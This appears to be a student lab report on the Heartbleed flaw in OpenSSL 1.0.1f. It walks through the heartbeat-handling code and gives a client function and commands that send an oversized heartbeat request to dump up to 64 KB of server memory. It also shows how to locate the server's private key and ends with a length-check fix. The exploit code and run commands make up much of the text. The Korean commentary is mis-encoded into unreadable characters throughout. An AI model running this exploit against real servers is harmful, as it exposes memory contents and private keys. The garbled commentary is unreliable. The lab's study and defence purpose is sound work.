All ssl packets are written with ssl/s3_pkt.c/ssl3_write_bytes()
ssl/ssl_lib.c:SSL_connect(s)
=> ssl3_connect(s)
=> ssl3_client_hello(s)
=> ssl3_do_write(s, SSL3_RT_HANDSHAKE)
=> ssl3_write_bytes(s, SSL3_RT_HANDSHAKE, buf, len) // 0x16
ssl/ssl_lib.c:SSL_write(s, buf, n)
=> ssl/s3_lib.c:ssl3_write(s, buf, n)
=> ssl3_write_bytes(s, SSL3_RT_APPLICATION_DATA, buf, n) // 0x17
ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, len) // 0x18
buf contains heartbeat message
Example heartbeat packet
00 0c 29 ......... ether header, IP header, TCP header
18 03 01 00 20 content type=0x18 (Heartbeat), version=0301(TLS 1.0), length=0x0020
d9 d2 1b ......... heartbeat message (encrypted). 01 ff ff (unencrypted)
When receiving HEARTBEAT packet, the server should echo with the same payload.
SSL packets are read by ssl/s3_pkt.c/ssl3_read_bytes()
ssl3_read_bytes()
responds to HB_REQUEST by echoing with the same payload. It calls ssl/t1_lib.c/tls1_process_heartbeat()
for HEARTBEAT packets.
int tls1_process_heartbeat(SSL *s){
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsinged short hbtype; // message type
unsigned int payload; // payload length
hbtype = *p++; // read message type
n2s(p, payload); // read payload length. n2s is network to system for 2 bytes
pl = p; // pl points to the beginning of payload
if (hbtype == TLS1_HB_REQUEST){ // respond to heartbeat request
unsigned char *buffer, *bp;
buffer = OPENSSL_malloc(1+2+payload+padding);
bp=buffer;
*bp++=TLS1_HB_RESPONSE; // write message type
s2n(payload, bp); // write payload length. s2n is system to network
memcpy(bp, pl, payload); // echo the same payload
.....
ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, ...); // and send it back
}
}
By setting payload length to 0xffff, we can read 0xffff bytes of memory in the SSL server.
hb.c
:
.............
void *heartbleed(connection *c, unsigned int type){
// type is 1. send heartbeat
unsigned char *buf, *p;
buf=OPENSSL_malloc(1+2); // for message type and length
p=buf;
*p++=TLS1_HB_REQUEST; // heartbeat request
// now fill in length field
switch (type){
case 0:
s2n(0x0, p);
break;
case 1:
s2n(0xffff, p); // this is our case. set length=0xffff
break;
default:
s2n(type, p); // the user can specify the length
break;
}
// now send
ret=ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
OPENSSL_free(buf);
return c;
}
run hb (the attacker)
=> send HEARTBEAT packet with
message type= TLS1_HB_REQUEST
payload length=0xffff
=> SSL server receives this packet, stores in s->s3->rrec->data[], and calls tls1_process_heartbeat(SSL *s)
s->s3->rrec->data:
data[0]: TLS1_HB_REQUEST
data[1],data[2]: 0xffff
=> tsl1_process_heartbeat tries to echo the payload data in rrec->data by the amount indicated in data[1] and data[2]. It assumes the payload data starts at rrec->data[3].
.................
memcpy(bp, pl, payload); // bp points to a response packet buffer
// pl points to rrec->data[3]. payload=0xffff
// copy 0xffff bytes from rrec->data[3] into buffer
ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, ...); // and send to the attacker
=> the attacker receives 0xffff bytes of the server memory starting at rrec->data[3]
hb.c
.$ cp ../../hb.c .
Move hb.c
to openssl-1.0.1f/demos/ssl/
directory and compile.
$ gcc -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -o hb hb.c -lssl -lcrypto -ldl
Run server and hb.
$ ./serv
In another window
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 1
The result should be in file out
. See out
with xxd
and find the server certificate information.
$ xxd out > xo
$ vi xo
๋๋ต 0x004610๋ถํฐ 0x004680๊น์ง server certificate information์ด ์ ์ถ๋์๋ค.
hb.c
hb.c
:
void * heartbleed(...){
........
buf = OPENSSL_malloc(1+2+512);
...........
switch(type){
..........
}
*p++='a'; *p++='b'; // 2 byte payload ("ab")
....
ret = ssl3_write_bytes(...., buf, 3 + 2);
.......
}
Recompile hb.c
, run server, and run hb
(in another window) with type 2.
(You have to remove old โoutโ file before running hb
.)
$ gcc -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -o hb hb.c -lssl -lcrypto -ldl
$ ./serv
$ rm out
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 2
์๋ฒ๊ฐ out
ํ์ผ์์ โabโ๋ฅผ ์์ฝ(echo)ํ ๊ฒ์ ํ์ธํ์๋ค.
1)์ heartbleed attack์ผ๋ก 0xffff bytes๋ฅผ ์ฝ์ด์ค๊ณ 2)๋ ์ค์ ํด์ค payload 2 bytes์ padding data 16 bytes, ๋ถ๊ฐ 3 bytes๊ฐ ์๋ฒ๋ก๋ถํฐ ์ค๊ฒ๋๋ค.
heartbleed()
function in hb.c
and tls1_process_heartbeat()
function in ssl/t1_lib.c
.heartbleed()
function in hb.c
:
void* heartbleed(connection *c,unsigned int type){
unsigned char *buf, *p;
int ret;
// Edit at 2022 11 16
// buf = OPENSSL_malloc(1 + 2);
buf = OPENSSL_malloc(1+2+512);
if(buf==NULL){
printf("[ error in malloc()\n");
exit(0);
}
p = buf;
*p++ = TLS1_HB_REQUEST;
switch(type){
case 0:
s2n(0x0,p);
break;
case 1:
s2n(0xffff,p);
break;
default:
printf("[ setting heartbeat payload_length to %u\n",type);
s2n(type,p);
break;
}
// Add at 2022 11 16
*p++='a'; *p++='b'; // 2 byte payload ("ab")
printf("[ <3 <3 <3 heart bleed <3 <3 <3\n");
// Edit at 2022 11 16
// ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3+2);
OPENSSL_free(buf);
return c;
}
tls1_process_heartbeat()
function in ssl/t1_lib.c
:
int tls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
if (s->msg_callback)
s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
&s->s3->rrec.data[0], s->s3->rrec.length,
s, s->msg_callback_arg);
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 bytes
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);
r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
if (r >= 0 && s->msg_callback)
s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
buffer, 3 + payload + padding,
s, s->msg_callback_arg);
OPENSSL_free(buffer);
if (r < 0)
return r;
}
else if (hbtype == TLS1_HB_RESPONSE)
{
unsigned int seq;
/* We only send sequence numbers (2 bytes unsigned int),
* and 16 random bytes, so we just try to read the
* sequence number */
n2s(pl, seq);
if (payload == 18 && seq == s->tlsext_hb_seq)
{
s->tlsext_hb_seq++;
s->tlsext_hb_pending = 0;
}
}
return 0;
}
rrec.data
์ ์์ฒญ๋ฐ์ heartbeat request message๊ฐ ์ ์ฅ๋๋ค.
p
๋ rrec.data
์ ์์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํจ๋ค.
if๋ฌธ์ ๋ค์ด๊ฐ๊ณ memcpy๋ฅผ ํตํด buffer์ ์์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ bp
๋ฅผ ์์ฑํ๋ค.
buffer์ TLS1_HB_RESPONSE
๋ฅผ ์ ์ฅํ๊ณ bp
๋ฅผ 1byte ์ด๋์์ผ payload์ ๊ธธ์ด๋ฅผ ์ ์ฅํ๋ค.
๊ทธํ bp๊ฐ ๊ฐ๋ฆฌํค๋ ๊ณณ์ payload๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ pl๋ก๋ถํฐ payload ๊ธธ์ด๋งํผ ๋ณต์ฌํ๋ค.
bp๋ฅผ payload ๊ธธ์ด๋งํผ ์ด๋์ํจ ํ, padding ๊ฐ์ ๋ํ๋ค.
์ฌ๊ธฐ์ type์ 1๋ก ์ฃผ๋ฉด cli๊ฐ 0xffff๊ธธ์ด์ payload๋ฅผ ์๊ตฌํ๋ฉด์ serv์ ์๋ฏผํ ์ ๋ณด๊น์ง ์ ์ถ๋๊ณ ,
2)๋ type์ default๋ก ์ฃผ๊ณ payload๋ 2bytes๋ก ์ฃผ์๊ธฐ ๋๋ฌธ์ ์๋ฒ์ ์ ๋ณด๊ฐ ์ ์ถ๋์ง ์๊ฒ ๋๋ค.
openssl-1.0.1f/include/openssl/ssl.h
Add BN_ULONG * print_server_priv_key(const SSL_CTX *ctx);
after C linkage reference as below
.................
#ifdef __cplusplus
extern "C" {
#endif
BN_ULONG * print_server_priv_key(const SSL_CTX *ctx);
.....................
openssl-1.0.1f/ssl/s3_srvr.c
Define print_server_priv_key()
here
void print_key(unsigned char *pkey){
int i;
for(i=0;i<128;i++){ // assume 1024 bit private
printf("%2x:",pkey[i]);
if ((i+1)%15==0) printf("\n");
}
printf("\n");
}
BN_ULONG *print_server_priv_key(const SSL_CTX *ctx){ // refer to lect12
CERT *ct=ctx->cert;
EVP_PKEY *epkey=ct->key->privatekey;
BN_ULONG *priv=epkey->pkey.rsa->d->d;
unsigned char *pkey=(unsigned char *)priv;
print_key(pkey);
return pkey;
}
openssl-1.0.1f/demos/ssl/serv.cpp
after SSL_CTX_check_private_key
function call.if (!SSL_CTX_check_private_key(ctx)){
.................
}
BN_ULONG *pkey=print_server_priv_key(ctx);
printf("private key location:%p\n", pkey);
์์ ํ์ ์ฌ์ค์น ๋ฐ recompile ํ๋ค.
$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o serv serv.cpp -lssl -lcrypto -ldl
servkey.txt
(generated as in below) in reverse order.$ ./serv
# open a new terminal and compare with another terminal
$ openssl rsa -in servkey.pem -text -out servkey.txt
server์ private key ์ฃผ์๋ 0xcb00e0์ด๋ค. server ์คํ ์ ์ถ๋ ฅ๋๋ private key์ servkey.txt
์ privateExponent์ ์๋ key ๊ฐ์ด ์ญ์์ด์ง๋ง ๋ด์ฉ์ ์ผ์นํ๋ค.
ssl/t1_lib.c/tls1_process_heartbeat()
to display the leaking memory address. ...........
if (hbtype==TLS1_HB_REQUEST){ // heartbeat packet is processed here
.............
printf("leaking mem addr:%p\n", pl);
memcpy(bp, pl, payload);
.............
}
์์ ํ์ ์ฌ์ค์น ๋ฐ recompile ํ๋ค.
$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o serv serv.cpp -lssl -lcrypto -ldl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o cli cli.cpp -lssl -lcrypto -ldl
hb
.$ ./serv
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 1
The system will show the leaking memory location and the contents. If the leaking address is lower than server private key location and the distance is less than 65535, the dumped output will contain the server private key.
heartbleed attack์ ์ํด ์ ์ถ๋๋ ์ ๋ณด์ ์์น์ธ 0x26660e0๋ถํฐ 0xffff ์ดํ๊น์ง์ธ๋ฐ private key์ ์์น๋ 0x266df63์ผ๋ก ์ด์ ์์น์ด๋ค. ๋ฐ๋ผ์ ์ด ๊ฒฝ์ฐ private key๊ฐ ์ ์ถ๋์ง ์๋๋ค.
Heartbleed attack์ ๋ฐฉ์งํ์ฌ ์ ๋ณด ์ ์ถ์ ๋ง๋ ๋ฐฉ๋ฒ์ ์ฐพ์์ผํ๋ค.
3-2)๋ฒ์์ payload๊ฐ ๋น์ด์๋ค๋ ๊ฒ์ ํ์ธํ์ง ์์๋ ๊ฒ์ด ๋ฌธ์ ์ด๋ค.
payload
์ ๊ธธ์ด๋ง ๋ณด์ง ์๊ณ , 1๊ฐ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ๊ณผ์ ์ด ํ์ํ๋ค.
๊ทธ๋ฌ๋ฏ๋ก ์๋์ ๊ฐ์ด payload
๊ฐ ์กด์ฌํ๋์ง ํ์ธํ๋ ๊ณผ์ ์ ์ถ๊ฐํ์๋ค.
tls1_process_heartbeat()
function in ssl/t1_lib.c
:
int tls1_process_heartbeat(SSL *s)
{
......
if (hbtype == TLS1_HB_REQUEST)
{
......
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
printf("leaking mem addr:%p\n", pl);
if (1+2+payload != s->s3->rrec.length)
{
printf("heartbleed attack\n");
exit(0);
}
memcpy(bp, pl, payload);
bp += payload;
......
}
else if (hbtype == TLS1_HB_RESPONSE)
{
......
}
return 0;
}
payload
๋ณ์์ 1+2๋ฅผ ๋ํ ๋ค์ ๊ธธ์ด์ ๊ฐ์ด ์ค์ ๊ธธ์ด rrec.length
์ ์ผ์นํ์ง ์์ผ๋ฉด ๊ฐ์ ๋ก ์ข
๋ฃํ๋๋ก ํ์๋ค.
์์ ํ์ ์ฌ์ค์น ๋ฐ recompile ํ๋ค.
$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ g++ -L/home/sec11/12181879/openssl/lib -I/home/sec11/12181879/openssl/include -fpermissive -o serv serv.cpp -lssl -lcrypto -ldl
์์ ํ์ ์ฌ์ค์น ๋ฐ recompile ํ๊ณ , server์ hb
๋ฅผ ์คํํ๋ค.
$ pwd
/home/sec11/12181879/openssl-1.0.1f
$ make
$ make install
$ cd demos/ssl
$ ./serv
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 1
hb
๋ฅผ ์คํํ ๋, 1๋ฒ ์ฆ 0xffff๋ฅผ ์ ๋ฌํ๋ฉด heart bleed์ด๋ฏ๋ก ์ข
๋ฃ๋๋ ๊ฒ์ ์ ์ ์๋ค.
$ ./serv
$ ./hb -s 165.246.38.151 -p 12500 -f out -t 2
๊ธธ์ด์ ๋ง๊ฒ 2๋ฒ์ผ๋ก ํต์ ํ๋ฉด ์ ์์ ์ผ๋ก ์๋ํ๋ ๊ฒ์ ์ ์ ์๋ค.